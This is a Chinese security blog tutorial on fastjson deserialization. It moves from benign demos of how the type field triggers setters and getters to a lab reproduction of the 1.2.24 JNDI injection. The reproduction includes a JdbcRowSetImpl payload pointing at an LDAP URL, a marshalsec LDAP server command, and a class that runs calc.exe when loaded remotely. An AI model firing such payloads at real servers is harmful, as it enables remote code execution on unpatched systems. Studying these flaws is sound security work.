推荐阅读时间:60min

全文字数:14026

前言

其实从一开始就是想着学一下fastjson组件的反序列化。结果发现完全理解不能。

就先一路补了很多其他知识点,RMI反序列化,JNDI注入,7u21链等(就是之前的文章),之后也是拖了很长时间,花了很长时间,总算把这篇一开始就想写的文,给补完了。

类似的文是已经有了不少,学习也是基于前辈们的文章一步步走来,但是个人习惯于把所有问题理清楚,讲清楚。理应是把大佬们的文要细致些。

本文需要前置知识:JNDI注入,7u21利用链,可以戳我往期的文章。

由于先知的waf拦截,全文 @type 替换为 被屏蔽的type

文章内容如下:

  1. fastjson组件基础介绍及使用(三种反序列化形式等)
  2. fastjson组件的被屏蔽的type标识的特性说明(默认调用setter、getter方法条件等)。
  3. 分析了fastjson组件1.2.24版本中JNDI注入利用链与setter参数巧妙完美适配(前置知识参考JNDI注入一文)
  4. 分析了fastjson组件1.2.24版本中JDK1.7TemplatesImpl利用链的漏洞触发点poc构造(前置知识参考7u21一文)
  5. 分析了1.2.24-1.2.46版本每个版本迭代中修改代码,修复思路和绕过。(此时由于默认白名单的引入,漏洞危害大降)
  6. 到了1.2.47通杀黑白名单漏洞,因为网上对于这个分析文有点过多。这边想着直接正向来没得意思。尝试从代码审计漏洞挖掘的角度去从零开始挖掘出这一条利用链。最后发现产生了一种我上我也行的错觉(当然实际上只是一种错觉,不可避免受到了已有payload的引导,但是经过分析也算是不会对大佬的0day产生一种畏惧心理,看完也是可以理解的)最后再看了下修复。

本文实验代码均上传github,那么想要好好学习的小伙伴请打开idea,配合食用。

fastjson组件

fastjson组件是阿里巴巴开发的反序列化与序列化组件,具体细节可以参考github文档

组件api使用方法也很简洁

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

我们通过demo来使用一下这个组件

以下使用测试均是基于1.2.24版本的fastjson jar包

靶机搭建需要存在漏洞的jar包,但是在github上通常会下架存在漏洞的jar包。

我们可以从maven仓库中找到所有版本jar包,方便漏洞复现。

fastjson组件使用

先构建需要序列化的User类:
User.java

package com.fastjson;

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

再使用fastjson组件

package com.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {

    public static void main(String[] args) {
        //创建一个用于实验的user类
        User user1 = new User();
        user1.setName("lala");
        user1.setAge(11);

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        //通过parse方法进行反序列化,返回的是一个JSONObject
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
        System.out.println("parse反序列化:"+obj1);

        //通过parseObject,不指定类,返回的是一个JSONObject
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
        System.out.println("parseObject反序列化:"+obj2);

        //通过parseObject,指定类后返回的是一个相应的类对象
        Object obj3 = JSON.parseObject(serializedStr,User.class);
        System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
        System.out.println("parseObject反序列化:"+obj3);
    }
}

以上使用了三种形式反序列化
结果如下:

//序列化
serializedStr={"age":11,"name":"lala"}
//parse({..})反序列化
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化{"name":"lala","age":11}
//parseObject({..})反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}
//parseObject({},class)反序列化
parseObject反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@3d71d552

parseObject({..})其实就是parse({..})的一个封装,对于parse的结果进行一次结果判定然后转化为JSONOBject类型。

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

而parseObject({},class)好像会调用class加载器进行类型转化,但这个细节不是关键,就不研究了

那么三种反序列化方式除了返回结果之外,还有啥区别?

在执行过程调用函数上有不同。

package com.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;

public class FastJsonTest {

    public String name;
    public String age;
    public FastJsonTest() throws IOException {
    }

    public void setName(String test) {
        System.out.println("name setter called");
        this.name = test;
    }

    public String getName() {
        System.out.println("name getter called");
        return this.name;
    }

    public String getAge(){
        System.out.println("age getter called");
        return this.age;
    }

    public static void main(String[] args) {
        Object obj = JSON.parse("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
        System.out.println(obj);

        Object obj2 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
        System.out.println(obj2);

        Object obj3 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}",FastJsonTest.class);
        System.out.println(obj3);
    }
}

结果如下:

//JSON.parse("")
name setter called
com.fastjson.FastJsonTest@5a2e4553
//JSON.parseObject("")
name setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}
//JSON.parseObject("",class)
name setter called
com.fastjson.FastJsonTest@e2144e4

结论:

  • parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
  • parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
  • parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

特定的setter和getter的调用都是在解析过程中的调用。(具体是哪些setter和getter会被调用,我们将在之后讲到)

之所以parseObject("")有区别就是因为parseObject("")比起其他方式多了一步toJSON操作,在这一步中会对所有getter进行调用。

被屏蔽的type

那么除开正常的序列化,反序列化。
fastjson提供特殊字符段被屏蔽的type,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。

我们先来看一下这个字段的使用:

//@使用特定修饰符,写入被屏蔽的type序列化
String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);

//通过parse方法进行反序列化
Object obj4 = JSON.parse(serializedStr1);
System.out.println("parse反序列化对象名称:"+obj4.getClass().getName());
System.out.println("parseObject反序列化:"+obj4);

//通过这种方式返回的是一个相应的类对象
Object obj5 = JSON.parseObject(serializedStr1);
System.out.println("parseObject反序列化对象名称:"+obj5.getClass().getName());
System.out.println("parseObject反序列化:"+obj5);
//序列化
serializedStr1={"被屏蔽的type":"com.fastjson.User","age":11,"name":"lala"}
//parse反序列化
parse反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@1cf4f579
//parseObject反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}

这边在调试的时候,可以看到,本该解析出来的被屏蔽的type都没有解析出来

以上我们可以知道当被屏蔽的type输入的时候会特殊解析(不然的话会有被屏蔽的type:com.fastjson.User的键值对),那么自动调用其特定的set,get方法怎么说呢?

我们先建立一个序列化实验用的Person类

Person.java

package com.fastjson;

import java.util.Properties;

public class Person {
    //属性
    public String name;
    private String full_name;
    private int age;
    private Boolean sex;
    private Properties prop;
    //构造函数
    public Person(){
        System.out.println("Person构造函数");
    }
    //set
    public void setAge(int age){
        System.out.println("setAge()");
        this.age = age;
    }
    //get 返回Boolean
    public Boolean getSex(){
        System.out.println("getSex()");
        return this.sex;
    }
    //get 返回ProPerties
    public Properties getProp(){
        System.out.println("getProp()");
        return this.prop;
    }
    //在输出时会自动调用的对象ToString函数
    public String toString() {
        String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name  + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
        return s;
    }
}

被屏蔽的type反序列化实验:

package com.fastjson;

import com.alibaba.fastjson.JSON;

public class type {

    public static void main(String[] args) {
        String eneity3 = "{\"被屏蔽的type\":\"com.fastjson.Person\", \"name\":\"lala\", \"full_name\":\"lalalolo\", \"age\": 13, \"prop\": {\"123\":123}, \"sex\": 1}";
        //反序列化
        Object obj = JSON.parseObject(eneity3,Person.class);
        //输出会调用obj对象的tooString函数
        System.out.println(obj);
    }
}

结果如下:

Person构造函数
setAge()
getProp()
[Person Object] name=lala full_name=null, age=13, prop=null, sex=null

public name 反序列化成功
private full_name 反序列化失败
private age setAge函数被调用
private sex getsex函数没有被调用
private prop getprop函数被成功调用

可以得知:

  • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
  • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

决定这个set/get函数是否将被调用的代码最终在com.alibaba.fastjson.util.JavaBeanInfo#build函数处

在进入build函数后会遍历一遍传入class的所有方法,去寻找满足set开头的特定类型方法;再遍历一遍所有方法去寻找get开头的特定类型的方法

set开头的方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名(好像会过滤_,就是set_name这样的方法名中的下划线会被略过,得到name)。再去跟这个类的属性去比对有没有这个名称的属性。

如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。

这里的is就是有的网上有的文章中说反序列化会自动调用get、set、is方法的由来。个人觉得这种说法应该是错误的。

真实情况应该是确认存在符合setXxx方法后,会与这个方法绑定一个xxx属性,如果xxx属性不存在则会绑定isXx属性(这里is后第一个字符需要大写,才会被绑定)。并没有调用is开头的方法

自己从源码中分析或者尝试在类中添加isXx方法都是不会被调用的,这里只是为了指出其他文章中的一个错误。这个与调用的set方法绑定的属性,再之后并没有发现对于调用过程有什么影响。

所以只要目标类中有满足条件的set方法,然后得到的方法变量名存在于序列化字符串中,这个set方法就可以被调用。

如果有老哥确定是否可以调用is方法,可以联系我,非常感谢。

get开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

所以我们上面例子中的getsex方法没有被调用是因为返回类型不符合,而getprop方法被成功调用是因为Properties 继承 Hashtable,而Hashtable实现了Map接口,返回类型符合条件。

再顺便看一下最后触发方法调用的地方com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue,(在被调用的方法中下断点即可)

那么至此我们可以知道

  • 被屏蔽的type可以指定反序列化成服务器上的任意类
  • 然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)
  • 如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的setter、getter方法(即setxxx方法、getxxx方法)

上面说到readObejct("")还会额外调用toJSON调用所有getter函数,可以不符合要求。

看上去应该是挺正常的使用逻辑,反序列化需要调用对应参数的setter、getter方法来恢复数据。

但是在可以调用任意类的情况下,如果setter、getter方法中存在可以利用的情况,就会导致任意命令执行。

对应反序列化攻击利用三要素来说,以上我们就是找到了readObject复写点,下面来探讨反序列化利用链。

我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持被屏蔽的type这个属性的。

【<=1.2.24】JNDI注入利用链——com.sun.rowset.JdbcRowSetImpl

利用条件

JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

当然JDK版本有特殊需求,在JNDI注入一文中已说过,这里就不再说明

利用链

在JNDI注入一文中我们已经介绍了利用链,把漏洞触发代码从

String uri = "rmi://127.0.0.1:1099/aa";//可控uri
Context ctx = new InitialContext();
ctx.lookup(uri);

衍生到了

import com.sun.rowset.JdbcRowSetImpl;

public class CLIENT {

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
        JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
        JdbcRowSetImpl_inc.setAutoCommit(true);
    }
}

下面尝试用fastjson的被屏蔽的type来使服务端执行以上代码,可以看到我们需要调用的两个函数都是以set开头!这说明我们可以把这个函数当作setter函数进行调用!

去看一下这两个函数接口符不符合setter函数的条件

public void setDataSourceName(String var1) throws SQLException
 public void setAutoCommit(boolean var1)throws SQLException
  • [x] 方法名长度大于4且以set开头,且第四个字母要是大写
  • [x] 非静态方法
  • [x] 返回类型为void或当前类
  • [x] 参数个数为1个

完美符合!直接给出payload!

{
    "被屏蔽的type":"com.sun.rowset.JdbcRowSetImpl",   //调用com.sun.rowset.JdbcRowSetImpl函数中的
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit",   // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
    "autoCommit":true // 再调用setAutoCommit函数,传入true
}

java环境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)

package 版本24;

import com.alibaba.fastjson.JSON;
import com.fastjson.User;
public class POC {
    String payload =   "{\"被屏蔽的type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
    JSON.parse(payload);
}

使用工具起一个ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

之前的ExecTest.class,也不用修改直接上来

import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExecTest implements ObjectFactory {
    public ExecTest() {
    }

    public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
        exec("xterm");
        return null;
    }

    public static String exec(String var0) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException var2) {
            var2.printStackTrace();
        }

        return "";
    }

    public static void main(String[] var0) {
        exec("123");
    }
}

在1.8下编译后使用python起web服务

py -3 -m http.server 8090

【<=1.2.24】JDK1.7 的TemplatesImpl利用链

利用条件

基于JDK1.7u21 Gadgets 的触发点TemplatesImple的利用条件比较苛刻:

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
    JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

这是因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据

对于 JDK1.7u21 Gadgets 不熟悉的同学,可以参考我之前的文章。

在之前的文章也说过,TemplatesImpl对应的整条利用链是只有在JDK1.7u21附近的版本才能使用,但是最后TemplatesImpl这个类的触发点,其实是1.7全版本通用的。(因为修复只砍在了中间环节AnnotationInvocationHandler类)

那么实际上fastjson正是只利用了最后的TemplatesImpl触发点。这个利用方式实际上是1.7版本通用的。
其利用局限性在于服务端反序列化json的语句必须要支持private属性。

点击收藏 | 4 关注 | 3
登录 后跟帖